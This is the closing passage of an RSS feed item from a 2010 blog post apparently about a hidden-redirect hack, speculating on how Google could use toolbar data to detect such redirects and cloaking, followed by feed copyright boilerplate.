<p>Recognizing something like this algorithmically on Google's side would be possible with the Googlebar-data. Assuming all shown URLs are recorded, they could compare the URL clicked in the search results with the URL finally shown on the user's browser (within the frames). At the same time, the setup could be used to detect almost any kind of cloaking.</p>
<p>Scary stuff.</p>
<hr/>Copyright &copy; 2010 <strong><a href="http://johnmu.com">johnmu.com</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact johnmu.com so we can take legal action immediately.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://johnmu.com/hack-hidden-redirect/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic Page Served (once) in 0.572 seconds -->
